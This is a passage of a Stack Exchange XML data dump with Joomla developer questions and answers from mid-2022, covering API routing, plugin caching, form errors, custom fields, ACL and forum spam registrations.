Joomla\CMS\Application\ApiApplication-&amp;gt;route()&#xA;#2 [ROOT]/libraries/src/Application/CMSApplication.php(278): Joomla\CMS\Application\ApiApplication-&amp;gt;doExecute()&#xA;#3 [ROOT]/api/includes/app.php(54): Joomla\CMS\Application\CMSApplication-&amp;gt;execute()&#xA;#4 [ROOT]/api/index.php(31): require_once('/home/customer/...')&#xA;#5 {main}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2022-06-21T11:17:51.387" LastActivityDate="2022-07-28T00:49:37.850" Title="Joomla 4 API Question" Tags="|joomla-api|joomla-4.x|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32219" PostTypeId="2" ParentId="32207" CreationDate="2022-06-13T08:53:45.440" Score="-1" Body="&lt;p&gt;Use this for JRequest error&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( Joomla\CMS\Factory::getApplication()-&amp;gt;getInput()-&amp;gt;get('view') != 'article' ): ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Inside a module you can simplify it to this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( $app-&amp;gt;getInput()-&amp;gt;get('view') != 'article' ): ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16362" LastActivityDate="2022-06-13T08:53:45.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32220" PostTypeId="1" CreationDate="2022-06-13T14:44:43.673" Score="2" ViewCount="50" Body="&lt;p&gt;I have written some moderately complicated software for my Joomla site and want to improve on my code base in coming releases.&lt;/p&gt;&#xA;&lt;p&gt;To this end I am writing some unit tests however it's hard to run the tests on the full stack because I don't have a full installation of Joomla on my personal computer (I just have a dev environment and production environment running on vms)&lt;/p&gt;&#xA;&lt;p&gt;What is the minimum setup I could reasonably create that would test my Joomla stack? Do I need a full local install or is there some other way?&lt;/p&gt;&#xA;" OwnerUserId="14667" LastEditorUserId="14667" LastEditDate="2022-06-13T15:11:09.557" LastActivityDate="2022-06-13T15:11:09.557" Title="Unit tests for Joomla 3 plugin" Tags="|joomla-3.x|plugin|unit-testing|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32221" PostTypeId="2" ParentId="32213" CreationDate="2022-06-14T07:48:42.423" Score="0" Body="&lt;p&gt;It might be worth asking developers to relax the validation here. It is certainly too strict here. But don't hold your breath. In the meantime, you can remove or change validation using a plugin with &lt;code&gt;onContentPrepareForm&lt;/code&gt; event.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Form\Form;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgContentExample extends CMSPlugin&#xA;{&#xA;    public function onContentPrepareForm(Form $form, $data)&#xA;    {&#xA;        // Check that we are manipulating the correct form.&#xA;        if ($form-&amp;gt;getName() !== 'com_modules.module')&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // Remove validation from class field.&#xA;        $form-&amp;gt;setFieldAttribute('moduleclass_sfx', 'validate', '', 'params');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-06-14T07:48:42.423" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32222" PostTypeId="2" ParentId="32214" CreationDate="2022-06-14T12:15:01.613" Score="1" Body="&lt;p&gt;To resolve the issue, you need to change the following line.&lt;/p&gt;&#xA;&lt;p&gt;/plugins/system/helix3/helix3.php Line: 60&#xA;before:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if( !JFactory::getApplication()-&amp;gt;isClient('administrator') ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;after:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if( !JFactory::getApplication()-&amp;gt;isClient('api') &amp;amp;&amp;amp; !JFactory::getApplication()-&amp;gt;isClient('administrator') ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This makes sure the code is not called if an API request was made and prevents the error. The root cause is, when a API call is made, there is no template-instance for the menus and this leads to this error.&lt;/p&gt;&#xA;&lt;p&gt;Please be also aware that Joomshaper does not actively support helix3 anymoresince it is EOL.&lt;/p&gt;&#xA;&lt;p&gt;Please note that when updating the Melvin template, this change will also be lost and the problem can or will occur again.&lt;/p&gt;&#xA;&lt;p&gt;Thanks goes to user Jens on the support forums for finding the fix. Here is the link to the Joomshaper forum post. &lt;a href=&quot;https://www.joomshaper.com/forum/question/14865&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomshaper.com/forum/question/14865&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2022-06-15T16:00:30.957" LastActivityDate="2022-06-15T16:00:30.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32223" PostTypeId="1" CreationDate="2022-06-16T15:11:08.543" Score="0" ViewCount="37" Body="&lt;p&gt;I recently started a summer job and it requires some website management. The company that hired me already has their website through Joomla! and I am just trying to figure out if I need to download Joomla or if I can just make changes online by logging into the back end of the website.&lt;/p&gt;&#xA;&lt;p&gt;The company that hired me is in need of some website updates and provided me with the login info to the back end of things, but I have no idea where to start.&lt;/p&gt;&#xA;&lt;p&gt;I have no knowledge on Joomla! so I started my research and I keep seeing things about a database and host options, but this has already been taken care of by the company. So I'm not sure how to go about the next steps. Anything will help and thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="16403" LastEditorUserId="16403" LastEditDate="2022-06-16T15:13:49.743" LastActivityDate="2024-03-07T22:06:15.780" Title="I am new to Joomla and I'm trying to figure out if I need to install the software or if I can just log in online to make changes" Tags="|module|user|database|update|installation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32224" PostTypeId="2" ParentId="32223" CreationDate="2022-06-16T18:23:03.240" Score="0" Body="&lt;p&gt;If you're just editing content, the most likely place it will be is in an article. You should be able to log into their site by adding /administrator to the end of the site URL (For example, &lt;a href=&quot;https://thedomainname.com/administrator&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://thedomainname.com/administrator&lt;/a&gt;). Then use the login info they provided.&lt;/p&gt;&#xA;&lt;p&gt;Once logged in, articles can be found under the &amp;quot;Content&amp;quot; main menu item.&lt;/p&gt;&#xA;" OwnerUserId="8884" LastActivityDate="2022-06-16T18:23:03.240" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32225" PostTypeId="1" AcceptedAnswerId="32229" CreationDate="2022-06-16T23:59:04.180" Score="1" ViewCount="101" Body="&lt;p&gt;I have a plugin that works fine in that it reads a value from the params of the plugin and then based on the current date/time, replaces it with a new value in the params, however with Progressive or Conservative cache enabled in the Global Configuration the subsequent reads of the value get retrieved from the cache in &lt;code&gt;administrator/cache/com_config&lt;/code&gt;. Until the cache is cleared my plugin is then retrieving the original value and not the updated value.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to exclude a plugin from being cached?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params  = $this-&amp;gt;params;&#xA;$last    = new DateTime($params-&amp;gt;get('sqr_last_update'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-06-20T01:50:32.680" Title="Is it possible to exclude a plugin from Progressive and Conservative cache?" Tags="|joomla-4.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32226" PostTypeId="2" ParentId="32225" CreationDate="2022-06-17T05:40:36.147" Score="1" Body="&lt;p&gt;No, it is not possible. It's something you would have to handle in the plugin. When an item is edited it's natural to clear the cache. This would be done automatically if you used existing API (i.e. plugin model from &lt;code&gt;com_plugins&lt;/code&gt;) to update the record instead of manually running database queries. You can also clear the cache manually using the Cache API.&lt;/p&gt;&#xA;&lt;p&gt;Another option is to manually query the database. There's actually &lt;code&gt;custom_data&lt;/code&gt; column in &lt;code&gt;#__extensions&lt;/code&gt; table where you can and should store custom data like this instead of misusing &lt;code&gt;params&lt;/code&gt; column.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-06-17T05:40:36.147" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32227" PostTypeId="2" ParentId="32218" CreationDate="2022-06-17T05:57:20.560" Score="0" Body="&lt;p&gt;The URL you're trying to enter or the defined route is wrong. You're trying to access &lt;code&gt;v1/timetracker/clients&lt;/code&gt; but the route is defined as &lt;code&gt;v1/timetracker&lt;/code&gt;. You should update it accordingly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$router-&amp;gt;createCRUDRoutes(&#xA;    'v1/timetracker/clients',&#xA;    'clients',&#xA;    ['component' =&amp;gt; 'com_timetracker']&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-06-17T05:57:20.560" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32229" PostTypeId="2" ParentId="32225" CreationDate="2022-06-18T11:39:19.537" Score="1" Body="&lt;p&gt;Following on from the answer by @Sharky suggesting I use the Model from &lt;code&gt;com_plugins&lt;/code&gt; I have put together a new method that uses the PluginModel to save the change to the &lt;code&gt;params&lt;/code&gt; and sharing my method  here for others looking to update the plugins params that includes a refresh of the cache.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function updateParams($key, $value)&#xA;{&#xA;    $this-&amp;gt;params-&amp;gt;set($key, $value);&#xA;    $plugin_model = new PluginModel();&#xA;    $plugin_model-&amp;gt;save(array('extension_id' =&amp;gt; $this-&amp;gt;_id, 'params' =&amp;gt; $this-&amp;gt;params-&amp;gt;toString()));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The property &lt;code&gt;$this-&amp;gt;_id&lt;/code&gt; is not set by default in the &lt;code&gt;__construct&lt;/code&gt; of &lt;code&gt;CMSPlugin&lt;/code&gt; class as expected so until that is fixed the following lines of code are required to be executed prior to its use in the last line containing &lt;code&gt;'extension_id' =&amp;gt; $this-&amp;gt;_id&lt;/code&gt;.&#xA;If you want to use &lt;code&gt;_id&lt;/code&gt; elsewhere in your plugin I would suggest adding the extra lines towards the beginning of your plugin.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Required to get the extension id until CMSPlugin is updated to provide it. &#xA;$table = new  Extension(Factory::getDbo());&#xA;$table-&amp;gt;load(array('element' =&amp;gt; $this-&amp;gt;_name, 'type' =&amp;gt; 'plugin', 'folder' =&amp;gt; $this-&amp;gt;_type));&#xA;$this-&amp;gt;_id = $table-&amp;gt;extension_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Refer to &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/38094&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/38094&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-06-20T01:50:32.680" LastActivityDate="2022-06-20T01:50:32.680" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32230" PostTypeId="1" CreationDate="2022-06-19T00:24:32.420" Score="0" ViewCount="175" Body="&lt;p&gt;I'm trying to insert inline css in a module and it's not working.&lt;/p&gt;&#xA;&lt;p&gt;In one of my modules php files i have the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$document = Factory::getDocument();&#xA;&#xA;// Add styles&#xA;$style = 'body {'&#xA;    . 'background: black;'&#xA;    . 'color: rgb(0,111,51);'&#xA;    . '}';&#xA;$document-&amp;gt;addStyleDeclaration($style);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But the whole thing is just doing nothing. I googled and found some tutorials but even when I copy their solution it's still doing nothing.&#xA;Am I missing something or is this deprecated or different in joomla 4?&lt;/p&gt;&#xA;&lt;p&gt;I would really appreciate some help. Thank you all in advance.&lt;/p&gt;&#xA;&lt;p&gt;Edit: I tried it in multiple files and different modules but it just does nothing. Same With inline javascript and even with &amp;quot;&lt;code&gt;$document-&amp;gt;addStyleSheet&lt;/code&gt;&amp;quot; and &amp;quot;&lt;code&gt;$document-&amp;gt;addScript&lt;/code&gt;&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;2nd Edit: I tried it in my templates index.php and its also not working there. So Either its a general problem or I'm doing something wrong.&#xA;But it recognizes the &amp;quot;&lt;code&gt;$document-&amp;gt;addStyleDeclaration($style);&lt;/code&gt;&amp;quot; because when I forgot to define the document it told me that I cannot call addStyleDeclaration on an empty.&lt;/p&gt;&#xA;" OwnerUserId="16372" LastEditorUserId="16372" LastEditDate="2022-06-19T14:13:04.033" LastActivityDate="2022-06-19T14:13:04.033" Title="addStyleDeclaration is not working in my 4.0 module" Tags="|module|joomla-4.x|jfactory|jdocument|deprecated|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32231" PostTypeId="1" CreationDate="2022-06-19T14:33:45.767" Score="1" ViewCount="65" Body="&lt;p&gt;I'm trying to get a variable from my module to my template but its not working.&lt;/p&gt;&#xA;&lt;p&gt;In my modules xml I defined:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&amp;quot;imageUrl1&amp;quot;&#xA;            type=&amp;quot;text&amp;quot;&#xA;        &amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&amp;quot;imageUrl2&amp;quot;&#xA;            type=&amp;quot;hidden&amp;quot;&#xA;        &amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my modules tmpl/default.php I do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params-&amp;gt;set('imageUrl1', $imageSrc)&#xA;$params-&amp;gt;set('imageUrl2', $imageSrc2)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and later in the same file I do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo &amp;quot;&amp;lt;p&amp;gt;imageUrl1: {$params-&amp;gt;get('imageUrl1')}&amp;lt;/p&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and it shows the correct image link. Everything is fine so far.&#xA;But then I try to get it from my templates php file and it's not working.&lt;/p&gt;&#xA;&lt;p&gt;In my index.php I do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_mymodule');&#xA;$moduleParams = new JRegistry($module-&amp;gt;params);&#xA;&#xA;if ($moduleParams) {&#xA;    $moduleImage1 = 'url(&amp;quot;/' . $newsParams-&amp;gt;get('imageUrl1') . '&amp;quot;)';&#xA;    $test = $newsParams-&amp;gt;get('otherParam');&#xA;}&#xA;&#xA;echo &amp;quot;:root {&#xA;--moduleImage1: {$moduleImage1};&#xA;--test: {$test};&#xA;}&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The thing is: The test variable thats set in the admin module menu is coming through fine but my image URL that I want to have is not going through. The printout is just: &lt;code&gt;--moduleImage1: url(&amp;quot;/&amp;quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;So has anyone any idea how to get this to work? Or even a workaround so I can have the same result?&lt;/p&gt;&#xA;" OwnerUserId="16372" LastEditorUserId="12352" LastEditDate="2022-06-19T20:01:00.670" LastActivityDate="2022-06-19T20:01:00.670" Title="I can't get $params-&gt;set() to work to transfer variable from module to template" Tags="|joomla-api|joomla-4.x|module-params|php7|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32232" PostTypeId="1" CreationDate="2022-06-21T03:17:50.707" Score="0" ViewCount="220" Body="&lt;p&gt;I'm creating a custom J3.x component.&#xA;I'm manually adding my own error notices where needed via&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;JFactory::getApplication()-&amp;gt;enqueueMessage()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, when a record is not saved by my component, it is triggering the line:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;$this-&amp;gt;setMessage($this-&amp;gt;getError(), 'error');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;within the /libraries/src/MVC/Controller/FormController.php&#xA;which displays a notice like &amp;quot;Save failed with the following error: &amp;quot;, with no error listed.&lt;/p&gt;&#xA;&lt;p&gt;I would like to either...&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;(Ideally) Be able to add my own error notice (from within my component code) that is displayed at the end of that phrase via that getError line.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;OR ALTERNATELY&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Disable that notice - preferably at the component level, and ideally based on the specific view, not globally.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Any ideas how to programmatically accomplish either of these solutions (or possibly have another option so that I can display my own error notices at the component/view level?&lt;/p&gt;&#xA;" OwnerUserId="12624" LastActivityDate="2024-03-13T10:07:40.893" Title="How to set error in component code for FormController" Tags="|joomla-3.x|custom-component|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32233" PostTypeId="1" CreationDate="2022-06-21T07:43:54.970" Score="1" ViewCount="145" Body="&lt;p&gt;I was looking for an easy to implement solution for multilingual websites having a different domain name for each language... for Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 3 there were a couple of plugins, but there is nothing atm for Joomla 4.&#xA;So I have worked on that and found a solution which I describe in detail here:&#xA;&lt;a href=&quot;https://github.com/woluweb/a_different_domain_name_for_each_language&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/woluweb/a_different_domain_name_for_each_language&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The only thing that my .htaccess does not do (but that the Language2Domain plugin for J3 does for example) is to remove the language tag (/en/, /nl/, ...) after the correct domain name.&lt;/p&gt;&#xA;&lt;p&gt;Probably the redirections in .htaccess can be adapted to manage that?&#xA;Or maybe it requires to change something to the &lt;code&gt;System - Language Filter&lt;/code&gt; plugin?&#xA;If you have any view on that, feel free to shoot :)&lt;/p&gt;&#xA;&lt;p&gt;My goal is to write an article explaining this solution for the September edition of the Joomla Community Magazine.&#xA;So any input/feedback/suggestion/comment/... will help! :)&lt;/p&gt;&#xA;&lt;p&gt;Txs,&lt;/p&gt;&#xA;&lt;p&gt;Marc&lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2022-06-21T07:43:54.970" Title="A solution for multilingual websites having a different domain name for each language" Tags="|joomla-4.x|multilingual|multi-sites|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32235" PostTypeId="2" ParentId="32232" CreationDate="2022-06-21T16:30:41.383" Score="0" Body="&lt;p&gt;Yes, I'm calling from Controller.&lt;/p&gt;&#xA;&lt;p&gt;I found the solution (or the error), I was doing a 'return false' which was causing the error to be displayed.&lt;/p&gt;&#xA;&lt;p&gt;Instead, I found another approach (&lt;a href=&quot;https://joomla.stackexchange.com/questions/5506/how-do-i-properly-raise-an-error-from-within-a-plugin&quot;&gt;How do I properly raise an error from within a plugin?&lt;/a&gt;) and instead just raise the notice to the user via enqueueMessage and then just use:&#xA;JFactory::getApplication-&amp;gt;rediret(JRoute::_('url_to_same_form', false));&lt;/p&gt;&#xA;&lt;p&gt;That displays my error notice only and puts them back on the same form (even if they use Save &amp;amp; Close).&lt;/p&gt;&#xA;&lt;p&gt;Not exactly what I had originally looked for, but a better solution in the end.&lt;/p&gt;&#xA;" OwnerUserId="12624" LastActivityDate="2022-06-21T16:30:41.383" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32237" PostTypeId="2" ParentId="32232" CreationDate="2022-06-22T06:59:11.510" Score="0" Body="&lt;p&gt;If you look at the code just above the one you referenced, you'll see that the controller reads the error message from the model:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setError(\JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model-&amp;gt;getError()));&#xA;$this-&amp;gt;setMessage($this-&amp;gt;getError(), 'error');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So it looks like you're not setting the error correctly in your model. Inside the model's &lt;code&gt;save()&lt;/code&gt; method, as well as other methods called by the controller, you should set the error message using &lt;code&gt;setError()&lt;/code&gt; method before returning &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    if ($badCondition)&#xA;    {&#xA;        $this-&amp;gt;setError('Some error happened');&#xA;        &#xA;        return false;&#xA;    }&#xA;    &#xA;    return parent::save($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then the message will be shown correctly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;Save failed with the following error: Some error happened&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-06-22T06:59:11.510" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32238" PostTypeId="2" ParentId="28511" CreationDate="2022-06-22T12:41:47.923" Score="0" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://github.com/Delo-Design/radicalform&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radical Form plugin&lt;/a&gt; for your task.&lt;br /&gt;&#xA;This plugin I'm using on my client's websites because it is very useful.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; you can create really any form: feedback form, questionnaire, survey, quiz, etc. Generate it by any serivice and save in Custom HTML Joomla module. This plugin is only a form handler.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; This plugin is for &lt;strong&gt;professionals&lt;/strong&gt; who are able to write the entire frontend of the form themselves: HTML and JS. The RadicalForm plugin has no appearance settings, layouts, or its own design. It only processes and sends form data. It supports its own plugins, which allows it to be used for API integration with various services, for example, CRM.&lt;/p&gt;&#xA;&lt;p&gt;So, this approach allows you to show the users of the site forms that do not stand out from the overall design of the site, fully meet your requirements (because they are created entirely by you), the absence of spam.&lt;/p&gt;&#xA;" OwnerUserId="13868" LastEditorUserId="13868" LastEditDate="2022-07-14T07:30:48.440" LastActivityDate="2022-07-14T07:30:48.440" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32239" PostTypeId="1" AcceptedAnswerId="32268" CreationDate="2022-06-22T14:11:58.327" Score="2" ViewCount="259" Body="&lt;p&gt;I've programmed a modal with a TinyMCE editor inside, where it's value is saved via ajax, but when leaving the page there's still the warning &lt;code&gt;Changes you made may not be saved.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there a function or some sort of flag I can configure to avoid the alert?&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2022-09-15T19:15:19.167" Title="Disable the save warning on TinyMCE editors" Tags="|joomla-4.x|editor|tinymce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32240" PostTypeId="1" CreationDate="2022-06-24T07:20:22.517" Score="1" ViewCount="38" Body="&lt;p&gt;I am struggling with the logic of an ACL setting in Joomla! 4.1.5. It concerns front-end editing, but I suspect it also applies to the back-end. It concerns the permissions of a category.&lt;/p&gt;&#xA;&lt;p&gt;When I leave the &amp;quot;Create&amp;quot; permission, for the group under which a user logs in, at the default &lt;code&gt;Not Allowed (inherited)&lt;/code&gt;, the category appears in the category select list on the article edit form nevertheless. The category can be set and the article saved, but after that it is no longer accessible/visible to that same user. This does not make sense. However, if I set the &amp;quot;Create&amp;quot; permission to &lt;code&gt;Denied&lt;/code&gt;, the category does not appear in the select list and cannot be set.&lt;/p&gt;&#xA;&lt;p&gt;Can someone explain this (il)logic? Am I missing something, or does it look like an imperfection in the ACL algorithm?&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="12352" LastEditDate="2022-06-24T09:23:04.980" LastActivityDate="2022-06-24T09:23:04.980" Title="Joomla! 4.1.5 category ACL logic" Tags="|category|acl|joomla-4.1|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32241" PostTypeId="1" CreationDate="2022-06-24T01:58:59.713" Score="0" ViewCount="46" Body="&lt;p&gt;Is there a plugin in joomla that controls the display or hiding of another field based on the specified field similar to the XML showon attribute, or similar to the conditional logic in the WordPress ACF plugin that can be set directly?&lt;/p&gt;&#xA;" OwnerDisplayName="软件爱好者" LastEditorUserId="12352" LastEditDate="2022-06-25T22:29:11.460" LastActivityDate="2024-03-30T12:01:50.223" Title="Joomla field logic control plug-in" Tags="|plugin|custom-field|xml|showon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32242" PostTypeId="1" CreationDate="2022-06-27T14:12:12.317" Score="3" ViewCount="934" Body="&lt;p&gt;I want to show some specific Custom Fields inside the Joomla 4 Articles News (mod_articles_news) module.&#xA;I used to use this code in Joomla 3 :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $customFields = FieldsHelper::getFields('com_content.article', $item, true);&#xA;    foreach ($customFields as $customField){&#xA;    $customFields[$customField-&amp;gt;name] = $customField;&#xA;}?&amp;gt; &#xA;&amp;lt;p&amp;gt;&amp;lt;?php echo $customFields['name-of-the-custom-field']-&amp;gt;value; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but in Joomla 4 I am taking this error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Class 'FieldsHelper' not found&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any help on this?&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2022-07-08T15:58:33.697" Title="Custom Fields inside Articles News Module in Joomla 4" Tags="|custom-field|joomla-4.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32243" PostTypeId="2" ParentId="32242" CreationDate="2022-06-28T06:40:52.177" Score="2" Body="&lt;p&gt;By adding this line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\ Component\ Fields\ Administrator\ Helper\ FieldsHelper&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;before the close (?&amp;gt;) of&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined( '_JEXEC' )or die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;issue solved.&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2022-06-28T06:40:52.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32246" PostTypeId="1" CreationDate="2022-07-02T09:15:35.130" Score="1" ViewCount="104" Body="&lt;p&gt;I've been running a Joomla-based website for over 15 years. It's focus is ocean paddling (on things called surfskis) and the busiest part of the site (and in fact the only reason I've kept it going) is the Kunena-based forum.&lt;/p&gt;&#xA;&lt;p&gt;We keep the site up to date, having had a run-in a few years ago with hackers who inserted a shell script via an add-in module... the shell was only noticed over a month after it had been installed, so we had no back-ups to go back to, and I fought them over a couple of weeks before I found all the multiple, hidden shell scripts that they'd inserted. Since then we've been religious about only using reputable or paid add-in modules and keeping everything up to date and we've avoided any more of that kind of trouble.&lt;/p&gt;&#xA;&lt;p&gt;But I can't stop fake user registrations. We use captcha and email confirmation, but there are clearly bots capable of getting around both and I see attempts almost every day of people trying to post to the forum. The final defense is to moderate the first two posts by any new user on our Kunena-based forum - and this works, in spite of the spammers sometimes going to some lengths to try to fool me. Fortunately our sport is fairly niche and my bullshit antennae are highly attuned and I've always been able to detect and block and ban them. I know there are humans behind this - because on occasion I've had email conversations with them.&lt;/p&gt;&#xA;&lt;p&gt;I reduced the problem massively by blocking IP addresses from India and Pakistan - the volumes are growing again as places like Ukraine (sadly) and Hong Kong get more involved in this - and I suspect that some of the spammers are using VPNs.&lt;/p&gt;&#xA;&lt;p&gt;It's a giant waste of time. They always have crappy email addresses like howellbradleyhowell@gmail.com or ahmededmundlatouche@ttz.koinfor.com, so there must be an relatively easy way for an AI-based filter to prevent them from registering in the first place.&lt;/p&gt;&#xA;&lt;p&gt;I've searched the interwebs, but nearly all the advice is the tired old &amp;quot;use captcha&amp;quot;, &amp;quot;use email confirmation&amp;quot;, &amp;quot;block them on the firewall&amp;quot; approaches - and I've not found any more sophisticated solutions.&lt;/p&gt;&#xA;&lt;p&gt;Has anyone a better approach to this issue? Ideally a module that recognizes fake email addresses and redirects the user - perhaps to a never ending registration form that asks more and more absurd questions to waste as much of their time as possible.&lt;/p&gt;&#xA;" OwnerUserId="16426" LastEditorUserId="13306" LastEditDate="2022-07-03T10:30:10.997" LastActivityDate="2022-07-03T10:30:10.997" Title="A better way to stop fake registrations on Joomla forums?" Tags="|registration|kunena|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 